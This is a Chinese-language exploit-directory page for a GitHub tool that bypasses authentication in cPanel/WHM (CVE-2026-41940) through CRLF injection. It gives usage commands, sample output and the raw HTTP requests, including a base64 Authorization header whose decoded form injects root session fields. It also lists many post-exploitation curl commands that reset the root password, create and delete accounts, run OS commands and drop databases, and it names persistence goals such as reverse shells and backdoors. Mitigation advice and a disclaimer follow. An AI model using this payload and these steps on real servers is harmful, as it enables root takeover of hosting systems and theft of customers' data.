Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cPanel-WHM-CVE-2026-41940-auth-bypass-exploit — # cPanel/WHM CVE-2026-41940 关键认证绕过漏洞利用工具 针对 cPanel/WHM CVE-2026-41940 的关键认证绕过漏洞利用工具。利用 cpsrvd 守护进程中的 CRLF 注入,无需凭据即可获取 WHM 根权限。包含版本检测、详细日志记录、代理支持、JSON 报告以及利用后账户枚举功能。仅限授权安全测试使用。 | Kitploit
工具/GitHubGitHub/cerberusmrxi/cpanel-whm-cve-2026-41940-auth-bypass-exploit
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubcerberusmrxi/cpanel-whm-cve-2026-41940-auth-bypass-exploit

cPanel-WHM-CVE-2026-41940-auth-bypass-exploit

# cPanel/WHM CVE-2026-41940 关键认证绕过漏洞利用工具 针对 cPanel/WHM CVE-2026-41940 的关键认证绕过漏洞利用工具。利用 cpsrvd 守护进程中的 CRLF 注入,无需凭据即可获取 WHM 根权限。包含版本检测、详细日志记录、代理支持、JSON 报告以及利用后账户枚举功能。仅限授权安全测试使用。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
231个月前尚未审核

CVE-2026-41940 - cPanel & WHM 身份验证绕过漏洞利用工具

PythonLicenseCVECVSSStatus

cPanel/WHM cpsrvd 守护进程中的 CRLF 注入导致严重身份验证绕过漏洞


📋 概述

CVE-2026-41940 是 cPanel & WHM 中的一个严重身份验证绕过漏洞,允许未经身份验证的远程攻击者获得服务器的 root 级管理访问权限。该漏洞存在于 cpsrvd 守护进程的会话处理逻辑中,具体位于 Cpanel/Session.pm,其中 whostmgrsession cookie 和 Authorization 标头中的行分隔符(CRLF)未被正确中和,从而允许注入会话参数。

CVSS 评分漏洞利用类型影响攻击向量
9.8身份验证绕过Root 访问权限网络
c

⚡ 主要功能

该漏洞利用工具提供以下主要功能:

  • 🔓 身份验证绕过 - 无需凭据即可获得 WHM root 访问权限

  • 🛡️ 多种绕过技术 - 自动尝试不同的验证方法

  • 🌐 代理支持 - 通过 HTTP/HTTPS 代理路由流量

  • 📊 JSON 报告 - 生成详细的评估报告

  • 📝 全面日志记录 - 带时间戳的详细调试模式

  • 🔍 版本检测 - 自动检测并检查易受攻击的版本

  • 👥 账户枚举 - 漏洞利用后列出所有 cPanel 账户

  • 🎯 多端点支持 - 尝试各种 API 端点进行验证


🚨 漏洞详情

🔬 技术分析

该漏洞源于两个主要问题:

  1. 会话存储中的 CRLF 注入 - saveSession 函数在写入会话文件之前未能清理 pass 字段中的换行符(\n),从而允许注入任意会话参数。

  2. 条件性编码绕过 - 当会话 cookie 缺少 ob 部分(逗号后的段)时,pass 值会以未编码(明文)形式写入,从而允许注入 CRLF 序列。

🎯 受影响版本


📦 安装

先决条件

root@kitploit:~
# Python 3.6 or higher required
python3 --version

# Install required packages
pip install -r requirements.txt

依赖文件

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

克隆仓库

root@kitploit:~
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit

🚀 使用方法

基本用法

root@kitploit:~
python3 exploit.py --target https://target.com:2087

高级用法

root@kitploit:~
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose

# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080

# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts

# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30

示例输出

root@kitploit:~
=======================================================
 CVE-2026-41940 - cPanel/WHM Authentication Bypass
 Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
 Exploit Version: 1.0
=======================================================
 Target      : https://target.com:2087
 Started     : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}

=======================================================
 EXPLOIT SUCCESSFUL
=======================================================
 Target              : https://target.com:2087
 Token               : /cpsess1234567890
 Admin URL           : https://target.com:2087/cpsess1234567890/
 Version             : 11.110.0.85
 Verification Method : url_format
 Completed           : 2026-07-26 22:23:25
=======================================================

[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================

🔧 命令行参数


🔬 漏洞利用方法

阶段 1:获取预认证会话

该漏洞利用工具首先通过尝试一次失败的登录来获取预认证会话 cookie:

root@kitploit:~
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=wrong_pass

响应:

root@kitploit:~
Set-Cookie: whostmgrsession=base64_encoded_data

阶段 2:CRLF 注入

精心构造的 Authorization 标头会注入恶意会话参数:

root@kitploit:~
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]

解码后的载荷:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

阶段 3:令牌提取

服务器会响应一个包含管理会话令牌的重定向:

root@kitploit:~
Location: /cpsess1234567890/

阶段 4:访问验证

该漏洞利用工具会尝试多种验证方法以确认 root 访问权限。


🎯 漏洞利用后命令

漏洞利用成功后,使用获取的令牌执行以下命令:

服务器信息

root@kitploit:~
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"

# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"

# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"

# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"

# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"

# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"

# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"

# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"

# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"

账户管理

root@kitploit:~
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"

# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"

# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"

# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"

# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"

# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"

WHM 脚本

root@kitploit:~
# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"

# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"

# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"

# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"

# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"

管理操作

root@kitploit:~
# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
  -d "user=root&pass=NewP@ss123"

# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
  -d "username=testuser&domain=test.com&password=TestPass123&plan=default"

# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
  -d "script=id"

# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
  -d "user=testuser"

# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
  -d "user=testuser"

# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
  -d "user=testuser"

安全信息

root@kitploit:~
# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"

# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"

# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"

# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"

数据库操作

root@kitploit:~
# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"

# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
  -d "db=test_db"

# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
  -d "db=test_db"

# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"

🛡️ 漏洞利用后能力

一旦获得 WHM root 访问权限,攻击者可以:

账户管理

  • 🔍 列出所有 cPanel 账户

  • 👤 创建新的 cPanel 账户

  • 🔑 修改账户密码

  • ❌ 删除或暂停账户

服务器控制

  • 🖥️ 执行操作系统命令

  • 🔄 更改 root 密码

  • 📊 查看服务器统计信息

  • 🗄️ 管理 MySQL 数据库

持久化

  • 🐚 部署反向 Shell

  • 🌐 安装 Web Shell

  • 🗝️ 安装后门

  • 🔒 创建隐藏的管理员账户

数据访问

  • 📁 访问所有服务器文件

  • 💾 导出数据库

  • 📧 读取电子邮件账户

  • 🔐 访问 SSL 证书


🚨 紧急缓解措施

立即执行的操作

root@kitploit:~
# 1. Update cPanel/WHM immediately
/scripts/upcp --force

# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel

# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall

# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication

# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords

# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"

# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done

# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ==="
  cat /home/$user/.ssh/authorized_keys 2>/dev/null
done

长期防护措施

  • ✅ 实施严格的输入验证以防止 CRLF 注入

  • ✅ 部署 WAF 规则以检测并阻止恶意请求

  • ✅ 为 WHM 启用基于 IP 的访问限制

  • ✅ 定期将 cPanel/WHM 更新至最新版本

  • ✅ 定期进行安全评估

  • ✅ 监控日志中的可疑活动

  • ✅ 实施最小权限原则

  • ✅ 在 WHM 中启用安全顾问(Security Advisor)

  • ✅ 定期进行安全审计

  • ✅ 部署入侵检测系统


📊 示例报告

root@kitploit:~
{
  "timestamp": "2026-07-26T22:23:25.123456",
  "target": "https://target.com:2087",
  "status": "success",
  "token": "1234567890",
  "detected_version": "11.110.0.85",
  "vulnerable": true,
  "verification_method": "url_format",
  "notes": "Root access confirmed; Token verified",
  "exploit_name": "CVE-2026-41940",
  "cvss_score": "9.8",
  "description": "cPanel/WHM Authentication Bypass via CRLF Injection",
  "exploit_version": "1.0"
}

⚠️ 法律免责声明

本工具仅用于教育和道德安全研究目的。作者和贡献者不对因使用本软件而造成的任何滥用或损害负责。使用本工具即表示您同意承担您行为的所有责任。在测试任何系统之前,请确保您已获得明确许可。


🤝 贡献

我们欢迎贡献!请遵循以下步骤:

  1. 🍴 复刻(Fork)本仓库

  2. 🔧 创建您的功能分支(git checkout -b feature/amazing-feature)

  3. 💾 提交您的更改(git commit -m 'Add amazing feature')

  4. 📤 推送到分支(git push origin feature/amazing-feature)

  5. 🔃 发起拉取请求(Pull Request)


📝 更新日志

v1.0.0 (2026-07-26)

  • 🎉 初始版本

  • 🔓 CRLF 注入漏洞利用实现

  • 🛡️ 多种验证绕过技术

  • 📊 JSON 报告生成

  • 🌐 代理支持

  • 📝 全面日志记录

  • 🔍 版本检测

  • 👥 账户枚举

  • 📚 全面的漏洞利用后命令


📧 联系方式

  • 安全通告 - [email protected]

  • GitHub Issues - 创建 Issue


📚 参考资料

  1. CVE-2026-41940 详情

  2. cPanel 安全通告

  3. watchTowr 研究

  4. CRLF 注入速查表

  5. WHM API 文档


⚠️ 请记住:能力越大,责任越大!请合乎道德地使用! ⚠️

为安全社区倾心制作 ❤️

下载工具
属性值
CVE IDCVE-2026-41940
CVSS 评分9.8(严重)
漏洞类型通过 CRLF 注入实现身份验证绕过
受影响组件cpsrvd 守护进程(Cpanel/Session.pm)
攻击向量网络
影响完全 Root 访问权限
利用条件未经身份验证的远程利用
发布轨道受影响版本上限已修复版本
11.110.x11.110.0.9611.110.0.97
11.118.x11.118.0.6211.118.0.63
11.126.x11.126.0.5311.126.0.54
11.132.x11.132.0.2811.132.0.29
11.134.x11.134.0.1911.134.0.20
11.136.x11.136.0.411.136.0.5
参数简写必填描述
--target-t✅目标 URL(例如 https://target.com:2087 )
--verbose-v❌启用详细/调试输出
--proxy-p❌代理 URL(例如 http://127.0.0.1:8080 )
--output-o❌JSON 报告的输出文件
--timeout❌请求超时时间(秒)(默认:10)
--list-accounts-l❌漏洞利用成功后列出 cPanel 账户
--version❌显示漏洞利用工具版本